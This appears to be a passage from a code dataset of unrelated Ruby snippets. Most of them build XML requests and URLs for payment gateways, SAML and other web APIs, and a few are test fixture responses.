=>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\") \n xml['ns1'].CardData('i:nil' =>\"true\")\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n else \n #p \"without token....\"\n xml['ns4'].PaymentAccountDataToken('xmlns:ns4' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\", 'i:nil' =>\"true\")\n xml['ns5'].SecurePaymentAccountData('xmlns:ns5' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns6'].EncryptionKeyId('xmlns:ns6' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns7'].SwipeStatus('xmlns:ns7' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns1'].CardData{\n xml['ns1'].CardType params[:CardType] \n if params[:Track2Data].present?\n xml['ns1'].Track2Data params[:Track2Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n elsif params[:Track1Data].present?\n xml['ns1'].Track1Data params[:Track1Data]\n xml['ns1'].PAN('i:nil' =>\"true\") \n xml['ns1'].Expire('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n else\n xml['ns1'].PAN params[:PAN] \n xml['ns1'].Expire params[:Expire]\n xml['ns1'].Track1Data('i:nil' =>\"true\")\n xml['ns1'].Track2Data('i:nil' =>\"true\")\n end\n }\n xml['ns1'].EcommerceSecurityData('i:nil' =>\"true\") \n end\n }\n xml['ns2'].CustomerData('xmlns:ns2' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns2'].BillingData{\n xml['ns2'].Name('i:nil' =>\"true\")\n xml['ns2'].Address{\n xml['ns2'].Street1 params[:Street1] \n xml['ns2'].Street2('i:nil' =>\"true\")\n xml['ns2'].City params[:City] \n xml['ns2'].StateProvince params[:StateProvince]\n xml['ns2'].PostalCode params[:PostalCode]\n xml['ns2'].CountryCode params[:CountryCode]\n }\n xml['ns2'].BusinessName 'MomCorp'\n xml['ns2'].Phone params[:Phone]\n xml['ns2'].Fax('i:nil' =>\"true\")\n xml['ns2'].Email params[:Email]\n }\n xml['ns2'].CustomerId 'cust123'\n xml['ns2'].CustomerTaxId('i:nil' =>\"true\")\n xml['ns2'].ShippingData('i:nil' =>\"true\")\n }\n xml['ns3'].ReportingData('xmlns:ns3' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\"){\n xml['ns3'].Comment 'a test comment'\n xml['ns3'].Description 'a test description'\n xml['ns3'].Reference '001'\n }\n xml['ns1'].TransactionData{\n if params[:Amount] != ''\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n else\n xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('0.00')\n end\n #xml['ns8'].Amount('xmlns:ns8' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text(params[:Amount])\n xml['ns9'].CurrencyCode('xmlns:ns9' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('USD') \n xml['ns10'].TransactionDateTime('xmlns:ns10' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('2013-04-03T13:50:16')\n xml['ns11'].CampaignId('xmlns:ns11' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\",'i:nil' =>\"true\")\n xml['ns12'].Reference('xmlns:ns12' =>\"http://schemas.ipcommerce.com/CWS/v2.0/Transactions\").text('xyt')\n xml['ns1'].AccountType 'NotSet'\n xml['ns1'].ApprovalCode('i:nil' =>\"true\")\n xml['ns1'].CashBackAmount '0.0'\n xml['ns1'].CustomerPresent 'Present'\n xml['ns1'].EmployeeId '11'\n xml['ns1'].EntryMode params[:EntryMode]\n xml['ns1'].GoodsType 'NotSet'\n xml['ns1'].IndustryType params[:IndustryType]\n xml['ns1'].InternetTransactionData('i:nil' =>\"true\")\n xml['ns1'].InvoiceNumber params[:InvoiceNumber]\n xml['ns1'].OrderNumber params[:OrderNumber]\n xml['ns1'].IsPartialShipment 'false'\n xml['ns1'].SignatureCaptured 'false'\n xml['ns1'].FeeAmount '0.0'\n xml['ns1'].TerminalId('i:nil' =>\"true\")\n xml['ns1'].LaneId('i:nil' =>\"true\")\n xml['ns1'].TipAmount '0.0'\n xml['ns1'].BatchAssignment('i:nil' =>\"true\")\n xml['ns1'].PartialApprovalCapable 'NotSet'\n xml['ns1'].ScoreThreshold('i:nil' =>\"true\")\n xml['ns1'].IsQuasiCash 'false'\n }\n }\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for authorizeAndCaptureXML!\"\n end\n end", "def make_url(params) #:nodoc:\n super params.merge(:output => \"xml\", :oe => 'utf8', :ll => @ll, :spn => @spn, :sensor => false)\n end", "def to_xml\n a = REXML::Element.new(\"parameter\")\n a.add_attribute(\"id\", id)\n a.add_attribute(\"name\", name)\n if (description != nil)\n a.add_element(\"description\").text = description\n end\n if (defaultValue != nil)\n a.add_element(\"default\").text = defaultValue\n end\n return a\n end", "def build_xml( id, price, options )\n xml = ::Builder::XmlMarkup.new\n xml.GenerateRequest do\n xml.PxPayUserId ::Pxpay::Base.pxpay_user_id\n xml.PxPayKey ::Pxpay::Base.pxpay_key\n xml.AmountInput sprintf(\"%.2f\", price)\n xml.TxnId id\n xml.TxnType options[:txn_type] ? options[:txn_type].to_s.capitalize : \"Purchase\"\n xml.CurrencyInput options[:currency_input] || \"NZD\"\n xml.MerchantReference options[:merchant_reference] || options[:reference] || id.to_s ## Backwards compatibility\n xml.UrlSuccess options[:url_success] || ::Pxpay::Base.url_success \n xml.UrlFail options[:url_failure] || ::Pxpay::Base.url_failure\n xml.EmailAddress options[:email_address] if options[:email_address]\n xml.TxnData1 options[:txn_data1] if options[:txn_data1]\n xml.TxnData2 options[:txn_data2] if options[:txn_data2]\n xml.TxnData3 options[:txn_data3] if options[:txn_data3]\n xml.TxnData4 options[:txn_data4] if options[:txn_data4]\n xml.Opt options[:opt] if options[:opt]\n xml.EnableAddBillCard 1 if options[:token_billing]\n xml.BillingId options[:billing_id] if options[:token_billing]\n end\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {'ID' => id, 'Version' => version, 'IssueInstant' => issue_instant.in_time_zone.xmlschema}\n attributes['InResponseTo'] = in_response_to unless in_response_to.nil?\n attributes['Destination'] = destination unless destination.nil?\n attributes['Consent'] = consent unless consent.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:Response', attributes) {\n xml << issuer.to_xml unless issuer.nil?\n xml << signature.to_xml unless signature.nil?\n # TODO: add extensions support\n xml << status.to_xml unless status.nil?\n assertions.each { |assertion| xml << assertion.to_xml }\n encrypted_assertions.each { |encrypted_assertion| xml << encrypted_assertion.to_xml }\n }\n end", "def initialize(params)\n @result = params[:result]\n @user_id = params[:userid]\n @post = build_xml( params[:result] )\n end", "def get_xml\n xml = \"<ut_response status=\\\"ok\\\">\" +\n \"<video_count>\" + @video_count.to_s + \"</video_count>\" +\n \"<video_list>\\n\"\n each do |video|\n xml += video.to_xml\n end\n xml += \"</video_list></ut_response>\"\n end", "def get_payment_detail(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:getPaymentDetail\") {\n xml.send(\"v1:paymentDetailRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def successful_purchase_response_without_avs_results\n <<~XML\n <ccTxnResponseV1 xmlns=\"http://www.optimalpayments.com/creditcard/xmlschema/v1\">\n <confirmationNumber>126740505</confirmationNumber>\n <decision>ACCEPTED</decision>\n <code>0</code>\n <description>No Error</description>\n <authCode>112232</authCode>\n <detail>\n <tag>InternalResponseCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>SubErrorCode</tag>\n <value>0</value>\n </detail>\n <detail>\n <tag>InternalResponseDescription</tag>\n <value>no_error</value>\n </detail>\n <txnTime>2009-01-08T17:00:45.210-05:00</txnTime>\n <duplicateFound>false</duplicateFound>\n </ccTxnResponseV1>\n XML\n end", "def xml_payload(input = attributes)\n attrs = input.with_indifferent_access\n returning_value = <<-XML_TEMPLATE\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <orcid-message\n xmlns:xsi=\"http://www.orcid.org/ns/orcid https://raw.github.com/ORCID/ORCID-Source/master/orcid-model/src/main/resources/orcid-message-1.1.xsd\"\n xmlns=\"http://www.orcid.org/ns/orcid\">\n <message-version>1.1</message-version>\n <orcid-profile>\n <orcid-bio>\n <personal-details>\n <given-names>#{attrs.fetch('given_names')}</given-names>\n <family-name>#{attrs.fetch('family_name')}</family-name>\n </personal-details>\n <contact-details>\n <email primary=\"true\">#{attrs.fetch('primary_email')}</email>\n </contact-details>\n </orcid-bio>\n </orcid-profile>\n </orcid-message>\n XML_TEMPLATE\n returning_value.strip\n end", "def build_url_request(params)\n logger.debug(\"build_url_request: params #{params.inspect}\")\n #add constants\n #add key\n params << @public_key_param \n # need to encode rest of the values\n encoded = encode_params(params)\n #encode the URL\n url = @api_path + '?' +encoded.join('&')\n logger.debug(\"build_url_request: url is #{url}\")\n url\n end", "def make_url(method, params)\n params[:key] = @key\n params[:output] = 'xml'\n\n super method, params\n end", "def initialize(params={})\n self.api_url = 'https://pay1.plugnpay.com/payment/pnpremote.cgi'\n # self.api_url = 'https://pay1.plugnpay.com/payment/inputtestapi.cgi'\n self.publisher_name = params['publisher-name'] if params['publisher-name']\n self.debug = params['debug'] if params['debug']\n end", "def url( params )\n raise \"amount has to be a positive number\" if params[:amount].to_i <= 0\n raise \"order id can not be blank\" if params[:order_id].to_s.empty?\n\n data = [\n @website_id,\n Currency::VND, # 1=VND, 2=USD\n params[:order_id],\n params[:amount].to_i.to_s, # VND only\n @account,\n screen_method(),\n @secret_key,\n @callback_url,\n ].join(\"-\")\n sign = Digest::SHA256.hexdigest( data ).upcase\n url = base_url()\n\n query = {\n \"website_id\": @website_id,\n \"payment_method\": Currency::VND,\n \"order_code\": params[:order_id],\n \"amount\": params[:amount].to_i.to_s,\n \"receiver_acc\": @account,\n \"urlreturn\": CGI.escape(@callback_url.to_s),\n \"customer_first_name\": CGI.escape(params[:first_name].to_s),\n \"customer_last_name\": CGI.escape(params[:last_name].to_s),\n \"customer_mobile\": CGI.escape(params[:mobile].to_s),\n \"bill_to_address_line1\": CGI.escape(params[:address1].to_s),\n \"bill_to_address_line2\": CGI.escape(params[:address2].to_s),\n \"city_name\": CGI.escape(params[:city_name].to_s),\n \"address_country\": CGI.escape(params[:country].to_s),\n \"customer_email\": CGI.escape(params[:email].to_s),\n \"order_des\": CGI.escape(params[:order_description].to_s),\n \"param_extend\": CGI.escape(screen_method()),\n \"sign\": sign,\n }\n url += \"?\"\n url += query.map{|k,v| [k,v].join(\"=\") }.join(\"&\")\n url\n end", "def generate_link(params)\n q = params.reduce([]) do |m,(k,v)|\n if v.is_a?(Hash)\n m + v.reduce([]) do |mm,(kk,vv)|\n mm + [ \"#{k}[#{kk}]=#{URI.escape(vv.to_s)}\" ]\n end\n else\n m + [ \"#{k}=#{URI.escape(v.to_s)}\" ]\n end\n end\n\n q.empty? ?\n @request.uri :\n \"#{@request.uri}?#{q.join('&')}\"\n end", "def create_refund_request_xml(merchantCode, orderCode, currencyCode, amount)\n xml = \"<?xml version=\\\"1.0\\\"?>\\n\"\n xml << \"<!DOCTYPE paymentService PUBLIC '-//WorldPay/DTD WorldPay PaymentService v1/EN' 'http://dtd.worldpay.com/paymentService_v1.dtd'>\\n\"\n xml << \"<paymentService version=\\\"1.4\\\" merchantCode=\\\"\" + merchantCode + \"\\\">\\n\"\n xml << \"<modify>\\n\"\n xml << \"<orderModification orderCode=\\\"\" + orderCode + \"\\\">\\n\"\n xml << \"<refund>\\n\"\n xml << \"<amount value=\\\"\"+ amount.to_s + \"\\\" currencyCode=\\\"\" + currencyCode + \"\\\" exponent=\\\"2\\\"/>\"\n xml << \"</refund>\\n\"\n xml << \"</orderModification>\\n\"\n xml << \"</modify>\\n\"\n xml << \"</paymentService>\\n\"\n xml\n end", "def request(method, params)\n response = PARSER.xml_in(http_get(request_url(method, params)), { 'keeproot' => false,\n 'forcearray' => %w[List Campaign Subscriber Client SubscriberOpen SubscriberUnsubscribe SubscriberClick SubscriberBounce],\n 'noattr' => true })\n response.delete('d1p1:type')\n response\n end", "def to_xml(xml=Builder::XmlMarkup.new)\n attributes = {}\n attributes['ForceAuthn'] = force_authn unless force_authn.nil?\n attributes['IsPassive'] = is_passive unless is_passive.nil?\n # TODO implement assertion consumer service index\n # TODO implement assertion consumer service URL\n attributes['ProtocolBinding'] = protocol_binding unless protocol_binding.nil?\n attributes['AttributeConsumingServiceURL'] = attribute_consuming_service_url unless attribute_consuming_service_url.nil?\n attributes['ProviderName'] = provider_name unless provider_name.nil?\n attributes = add_xmlns(attributes)\n xml.tag!('samlp:AuthnRequest', attributes) {\n xml << subject.to_xml unless subject.nil?\n xml << name_id_policy.to_xml unless name_id_policy.nil?\n xml << conditions.to_xml unless conditions.nil?\n xml << requested_authn_context unless requested_authn_context.nil?\n xml << scoping.to_xml unless scoping.nil?\n }\n end", "def generate_xml_request\n tax_receipt = generate_tax_receipt\n @certificate.certifica tax_receipt\n @key.sella tax_receipt\n tax_receipt.to_xml\n end", "def pay\n #@CallerTokenId = params['CallerTokenId']\n #@RecipientTokenId = params['RecipientTokenId']\n #@SenderTokenId = params['SenderTokenId']\n #@Amount = params['Amount']\n\n call = { 'Action' => 'Pay',\n \t\t# tokens\n \t\t'CallerTokenId' => @CallerTokenId,\n \t\t'SenderTokenId' => @SenderTokenId,\n \t\t'RecipientTokenId' => @RecipientTokenId,\n\t\t\n \t\t# transactions details ### NOTE: Complex types are sent like this. #####\n \t\t'TransactionAmount.Amount' => @Amount, \n \t\t'TransactionAmount.CurrencyCode' => 'USD', \n \t\t'TransactionDate' => Time.now.gmtime.iso8601, # example result: 2007-05-10T13:08:02\n \t\t'ChargeFeeTo' => 'Recipient', #this must match the true/false value from the recipient token\n\t\t\n \t\t# references - unique transaction values\n \t\t'CallerReference' => 'Order-' + Time.now.to_i.to_s, # required unique value for each pay call\n \t\t'SenderReference' => 'Test Sender reference string', # optional unique reference for the sender\n \t\t'RecipientReference' => 'Test Recipient reference string' # optional unique reference for the recipient\n }\n # make the REST call \n\t\t@fps_response = AWS::FPS::Query.do(call)\n\t\trexml_doc = REXML::Document.new(@fps_response)\n\t\telements = rexml_doc.root.elements\n @xml_out = pretty_xml(rexml_doc)\n\t\t@status = elements[\"Status\"].text\n\t\t@request_id = elements[\"RequestId\"].text\n\t\t@success = false\n\t\tif @status == \"Success\"\n\t\t @success = true\n\t\t @TransactionId = elements[\"TransactionResponse\"].elements['TransactionId'].text\n\t\tend\n end", "def build_request_xml(function, param, extra = nil)\n xml = \"<?xml version=\\\"1.0\\\" encoding=\\\"ISO-8859-1\\\"?>\\n\"\n xml << \"<dados>\\n\"\n xml << \" <usuario>#{@user}</usuario>\\n\"\n xml << \" <senha>#{@password}</senha>\\n\"\n xml << \" <funcao>#{function}</funcao>\\n\"\n xml << \" <param>#{param}</param>\\n\"\n xml << \" <param2>#{extra}</param2>\\n\" if extra\n xml << \" <retorno>#{RETURN_FORMATS[@format]}</retorno>\\n\"\n xml << \"</dados>\"\n xml\n end", "def to_xml()\n XmlSimple.xml_out( { :address => self.to_hash() }, { :KeepRoot=>true, :NoAttr=>true } )\n end", "def to_xml()\r\n msg = REXML::Document.new\r\n msg << REXML::Element.new(\"#{@type.to_s}\")\r\n msg.root << REXML::Element.new(\"GROUP\").add_text(\"#{@group}\") if @group != nil\r\n msg.root << REXML::Element.new(\"ID\").add_text(\"#{@procID}\") if @procID != nil\r\n msg.root << REXML::Element.new(\"PATH\").add_text(\"#{@path}\") if @path != nil\r\n msg.root << REXML::Element.new(\"ARGSLINE\").add_text(\"#{@cmdLineArgs.join(\" \")}\") if @cmdLineArgs != nil\r\n # Build the <ENV> child element\r\n if !@env.empty? \r\n line = \"\"\r\n @env.each { |k,v|\r\n line << \"#{k.to_s}=#{v.to_s} \" \r\n }\r\n msg.root << REXML::Element.new(\"ENV\").add_text(\"#{line}\")\r\n end\r\n # Build the <OML_CONFIG> child element\r\n if @omlConfig != nil\r\n el = REXML::Element.new(\"OML_CONFIG\")\r\n el.add_element(@omlConfig)\r\n msg.root << el\r\n end\r\n return msg\r\n end", "def to_xml\n raise WebexXmlApi::NotEnoughArguments, 'SecurityContext' unless valid?\n builder = Nokogiri::XML::Builder.new(encoding: 'UTF-8') do |xml|\n xml.header do\n xml.securityContext do\n PARAMETER_MAPPING.each_pair do |k, v|\n xml.send(v, send(k)) if send(k)\n end\n end\n end\n end\n builder.to_xml.gsub(\"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\\n\", '')\n end", "def get_buylinks( params )\n xml = LastFM.get( \"track.getBuylinks\", params )\n [:physical, :download].each_with_object([]) do |type, buylinks|\n xml.find(\"affiliations/#{type}s/affiliation\").each do |buylink|\n buylinks << LastFM::Buylink.from_xml( buylink, :type => type )\n end\n end\n end", "def weixin_xml\n template_xml = <<Text\n<xml>\n <ToUserName><![CDATA[#{to_user_name}]]></ToUserName>\n <FromUserName><![CDATA[#{from_user_name}]]></FromUserName>\n <CreateTime>#{create_time.to_i}</CreateTime>\n <MsgType><![CDATA[#{msg_type}]]></MsgType>\n <PicUrl><![CDATA[#{pic_url}]]></PicUrl>\n</xml> \nText\n end", "def create(params)\n\nxml =<<XML\n<entry xmlns=\"http://purl.org/atom/ns#\">\n <title>#{params[:title]}</title>\n <link rel=\"related\" type=\"text/html\" href=\"#{params[:url]}\" />\n <summary type=\"text/plain\">#{params[:comment]}</summary>\n</entry>\nXML\n\n post('/post', xml)\n end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def to_xml(*args); end", "def failed_purchase_response\n <<~XML\n <ccTxnResponseV1 xmlns=\"http://www.optimalpayments.com/creditcard/xmlschema/v1\">\n <confirmationNumber>126740506</confirmationNumber>\n <decision>DECLINED</decision>\n <code>3009</code>\n <actionCode>D</actionCode>\n <description>Your request has been declined by the issuing bank.</description>\n <avsResponse>B</avsResponse>\n <cvdResponse>M</cvdResponse>\n <detail>\n <tag>InternalResponseCode</tag>\n <value>160</value>\n </detail>\n <detail>\n <tag>SubErrorCode</tag>\n <value>1005</value>\n </detail>\n <detail>\n <tag>InternalResponseDescription</tag>\n <value>auth declined</value>\n </detail>\n <txnTime>2009-01-08T17:00:46.529-05:00</txnTime>\n <duplicateFound>false</duplicateFound>\n </ccTxnResponseV1>\n XML\n end", "def _create_xml(method_name, isExtApi, data = [])\n raise \"Invalid data! Needs to be an array\" if isExtApi && !data.is_a?(Array)\n\n output = \"\"\n xml = Builder::XmlMarkup.new(:target => output, :indent => 1)\n xml.instruct!\n xml.methodCall {\n xml.methodName isExtApi ? \"extapi.callWpMethod\" : method_name\n xml.params {\n xml.param {\n xml.value {\n xml.string @rpc_admin\n }\n }\n xml.param {\n xml.value {\n xml.string @rpc_password\n }\n }\n if isExtApi\n xml.param {\n xml.value {\n xml.string method_name\n }\n }\n end\n xml.param {\n xml.value {\n if isExtApi\n xml.array {\n xml.data {\n data.each do |param|\n if param.is_a? Hash\n xml.value {\n _create_key_value_xml_struct(output, param)\n }\n else\n _create_value_xml_struct(output, param)\n end\n end\n }\n }\n else\n _create_key_value_xml_struct(output, data)\n end\n }\n }\n }\n }\n return output\n end", "def to_xml(params = {})\n params.reverse_merge!(\n :name => self.class.tag_name,\n :namespace => self.class.roxml_namespace\n )\n params[:namespace] = nil if ['*', 'xmlns'].include?(params[:namespace])\n str = [params[:namespace], params[:name]].compact.join(':')\n XML.new_node(str).tap do |root|\n refs = if self.roxml_references.present?\n self.roxml_references\n else\n self.class.roxml_attrs.map { |attr| attr.to_ref(self) }\n end\n # Add audience_range_qualifier as is\n refs[0].update_xml(root, refs[0].to_xml(self))\n # Zip audience_range_values with audience_range_precisions\n precisions = refs[1].to_xml(self)\n values = refs[2].to_xml(self)\n (0..precisions.size-1).each do |i|\n refs[1].update_xml(root, [precisions[i]])\n refs[2].update_xml(root, [values[i]])\n end\n end\n end", "def process_regular_subscription_payment(attributes = {})\n ::Nokogiri::XML::Builder.new(:encoding => \"utf-8\") do |xml|\n xml.send(\"soapenv:Envelope\", \"xmlns:soapenv\" => \"http://schemas.xmlsoap.org/soap/envelope/\", \"xmlns:v1\" => \"http://gpe.cz/pay/pay-ws/proc/v1\", \"xmlns:type\" => \"http://gpe.cz/pay/pay-ws/proc/v1/type\") {\n xml.send(\"soapenv:Header\")\n xml.send(\"soapenv:Body\") {\n xml.send(\"v1:processRegularSubscriptionPayment\") {\n xml.send(\"v1:regularSubscriptionPaymentRequest\") {\n xml.send(\"type:messageId\", attributes[:message_id])\n xml.send(\"type:provider\", \"0100\")\n xml.send(\"type:merchantNumber\", attributes[:merchant_number])\n xml.send(\"type:paymentNumber\", attributes[:order_number])\n xml.send(\"type:masterPaymentNumber\", attributes[:master_order_number])\n xml.send(\"type:orderNumber\", attributes[:merchant_order_number])\n xml.send(\"type:subscriptionAmount\", attributes[:amount])\n xml.send(\"type:captureFlag\", attributes[:capture_flag])\n xml.send(\"type:cardHolderData\") {\n xml.send(\"type:cardholderDetails\") {\n xml.send(\"type:name\", attributes[:card_holder_name])\n xml.send(\"type:email\", attributes[:card_holder_email])\n xml.send(\"type:phoneCountry\", attributes[:card_holder_phone_country])\n xml.send(\"type:phone\", attributes[:card_holder_phone])\n xml.send(\"type:mobilePhoneCountry\", attributes[:card_holder_mobile_phone_country])\n xml.send(\"type:mobilePhone\", attributes[:card_holder_mobile_phone])\n }\n xml.send(\"type:addressMatch\", attributes[:address_match])\n xml.send(\"type:billingDetails\") {\n xml.send(\"type:name\", attributes[:billing_name])\n xml.send(\"type:address1\", attributes[:billing_address1])\n xml.send(\"type:city\", attributes[:billing_city])\n xml.send(\"type:postalCode\", attributes[:billing_postal_code])\n xml.send(\"type:country\", attributes[:billing_country])\n }\n xml.send(\"type:shippingDetails\") {\n xml.send(\"type:name\", attributes[:shipping_name])\n xml.send(\"type:address1\", attributes[:shipping_address1])\n xml.send(\"type:city\", attributes[:shipping_city])\n xml.send(\"type:postalCode\", attributes[:shipping_postal_code])\n xml.send(\"type:country\", attributes[:shipping_country])\n }\n }\n xml.send(\"type:signature\", attributes[:digest])\n }\n }\n }\n }\n end.to_xml\n end", "def to_xml\n Nokogiri::XML::Builder.new do |xml|\n xml['me'].env({ 'xmlns:me' => XMLNS }) do\n xml['me'].data({ type: type }, OStatus2::Salmon.encode_base64url(body))\n xml['me'].encoding(encoding)\n xml['me'].alg(alg)\n xml['me'].sig({ key_id: key_id }, OStatus2::Salmon.encode_base64url(sig))\n end\n end.to_xml\n end", "def return_url\n order = Order.find_by_pretty_id(alipay_params[:out_trade_no])\n @payment = save_third_party_params(order, {return_url: alipay_params, return_at: Time.now})\n topup_transaction!(order, @payment)\n end", "def build_xml_of_free_insurance(profile, present_code)\n data = ''\n xml = ::Builder::XmlMarkup.new(target: data, indent: 0)\n # xml.instruct!\n xml.instruct! :xml, version: \"1.0\", encoding: \"GBK\"\n xml.Records {\n xml.Record {\n xml.Customer {\n xml.Key Profile.generate_free_insurance_id\n xml.ChannelType 'aishanxing'\n xml.FromSystem 'AiShanXing'\n xml.Name profile.full_name\n xml.Sex profile.gender ? 'Male' : 'Female'\n xml.Birthday profile.birthday.to_s\n xml.Document profile.id_num\n xml.DocumentType 'IdentityCard'\n xml.Email profile.email\n xml.Mobile profile.cellphone\n xml.ContactState {\n xml.Name profile.province\n }\n xml.ContactCity {\n xml.Name profile.city\n }\n xml.ContactAddress profile.address\n xml.Occupation {\n xml.Code '0001001'\n }\n # 没有description\n xml.Description\n }\n xml.Task {\n xml.CallList {\n xml.Name ''\n }\n xml.Campaign {\n xml.Name ''\n }\n }\n xml.Activity {\n xml.Code ''\n xml.Present {\n xml.Code present_code\n }\n xml.TSR {\n xml.Code '805095'\n }\n xml.DonateTime Date.current.to_s(:db)\n xml.SMS '1'\n xml.FlightNo\n xml.ValidTime\n }\n }\n }\n\n return data\n end", "def unboundRequest(params)\n broker_url = APP_CONFIG['broker_ip'] + ':' + APP_CONFIG['broker_port'].to_s\n\n resources = []\n\n h1 = Hash.new\n h2 = Hash.new\n\n # puts Time.zone.now\n\n if params[:start_date] != \"\"\n valid_from = params[:start_date] + \":00 \"\n valid_from = Time.zone.parse(valid_from)\n else\n time_now = Time.zone.now.to_s.split(\" \")[1][0...-3]\n time_from = roundTimeUp(time_now)\n valid_from = Time.zone.now.to_s.split(\" \")[0] + \" \" +time_from+ \":00 \"\n valid_from = Time.zone.parse(valid_from)\n end\n\n #For nodes\n if params[:number_of_nodes] != \"\"\n if params[:duration_t1] != \"\"\n if params[:domain1] != \"\"\n h1 = { type: \"Node\", exclusive: true, duration: params[:duration_t1].to_i, valid_from: valid_from, domain: params[:domain1]}\n else\n h1 = { type: \"Node\", exclusive: true, duration: params[:duration_t1].to_i, valid_from: valid_from}\n end\n else\n if params[:domain1] != \"\"\n h1 = { type: \"Node\", exclusive: true, valid_from: valid_from, domain: params[:domain1]}\n else\n h1 = { type: \"Node\", exclusive: true, valid_from: valid_from}\n end\n end \n\n params[:number_of_nodes].to_i.times {resources << h1}\n\n end\n\n #For channels\n if params[:number_of_channels] != \"\"\n if params[:duration_t1] != \"\"\n if params[:domain1] != \"\"\n h1 = { type: \"Channel\", exclusive: true, duration: params[:duration_t1].to_i, valid_from: valid_from, domain: params[:domain1]}\n else\n h1 = { type: \"Channel\", exclusive: true, duration: params[:duration_t1].to_i, valid_from: valid_from}\n end\n else\n if params[:domain1] != \"\"\n h1 = { type: \"Channel\", exclusive: true, valid_from: valid_from, domain: params[:domain1]}\n else\n h1 = { type: \"Channel\", exclusive: true, valid_from: valid_from}\n end\n end \n\n params[:number_of_channels].to_i.times {resources << h1}\n\n end\n\n options = {body: {\n resources: resources\n }.to_json, :headers => { 'Content-Type' => 'application/json' } , :verify => false}\n response = HTTParty.get(broker_url+\"/resources\", options)\n\n puts options\n\n if response.header.code != '200'\n puts \"Something went wrong\"\n puts response\n flash[:danger] = response\n else \n puts response\n response[\"resource_response\"][\"resources\"].each do |element|\n element[\"valid_from\"] = Time.zone.parse(element[\"valid_from\"]).to_s\n element[\"valid_until\"] = Time.zone.parse(element[\"valid_until\"]).to_s\n end\n\n return response\n end\n end", "def generate_xml\n\t\n\t\tbuilder = Nokogiri::XML::Builder.new do |xml|\n \t\t\txml.randomGeneratedData {\n \t\t\txml.parameters(nbStations: @inputs.nb_stations, nbDemands: @inputs.nb_demands)\n xml.stations {\n @list_stations.each do |s|\n\t\t\t\t\t\t\txml.station(\n\t\t\t\t\t\t\t\tid: s.id, \n\t\t\t\t\t\t\t\txPos: s.xPos, \n\t\t\t\t\t\t\t\tyPos: s.yPos,\n\t\t\t\t\t\t\t\tmaxSize: s.maxSize\n\t\t\t\t\t\t\t)\n end\n }\n \t\t\t\txml.demands {\n @list_demands.each do |d|\n \t\t\t\t\t\txml.demand(\n\t\t\t\t\t\t\t id: d.id,\n\t\t\t\t\t\t\t\tidsOrigin: d.sOrigin.id, \n\t\t\t\t\t\t\t\tidsDestination: d.sDestination.id, \n\t\t\t\t\t\t\t\tnbDemand: d.nbDemand,\n\t\t\t\t\t\t\t\tdepartureTime: d.departureTime_TS,\n\t\t\t\t\t\t\t\tarrivalTime: d.arrivalTime_TS\n \t\t\t\t\t\t)\n end\n \t\t\t\t}\n \t\t\t}\n\t\tend\n\t\t\n\t\treturn builder.to_xml\n\tend", "def captureAllXML()\n begin\n Nokogiri::XML::Builder.new do |xml|\n xml.CaptureAll('xmlns:i' => 'http://www.w3.org/2001/XMLSchema-instance', \n 'xmlns' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions/Rest', 'i:type' =>\"CaptureAll\" ) {\n xml.ApplicationProfileId application_profile_id\n xml.MerchantProfileId merchant_profile_id\n xml.BatchIds('xmlns:d2p1' => 'http://schemas.microsoft.com/2003/10/Serialization/Arrays', 'i:nil'=> \"true\")\n xml.DifferenceData('xmlns:d2p1' => 'http://schemas.ipcommerce.com/CWS/v2.0/Transactions','i:nil'=> \"true\")\n } \n end.to_xml \n rescue Exception => ex\n return \"Some value not set in xml for captureAllXML!\"\n end \n end", "def preservation_xml\n descriptive_metadata = metadata_source.find_by(source_type: 'descriptive').user_defined_mappings\n structural_metadata = metadata_source.find_by(source_type: 'structural').user_defined_mappings\n\n Nokogiri::XML::Builder.new(encoding: 'UTF-8') { |xml|\n xml.root {\n xml.record {\n xml.uuid { xml.text repo.unique_identifier }\n\n descriptive_metadata.each do |field, values|\n values.each { |value| xml.send(field + '_', value) }\n end\n\n xml.pages {\n structural_metadata['sequence'].map 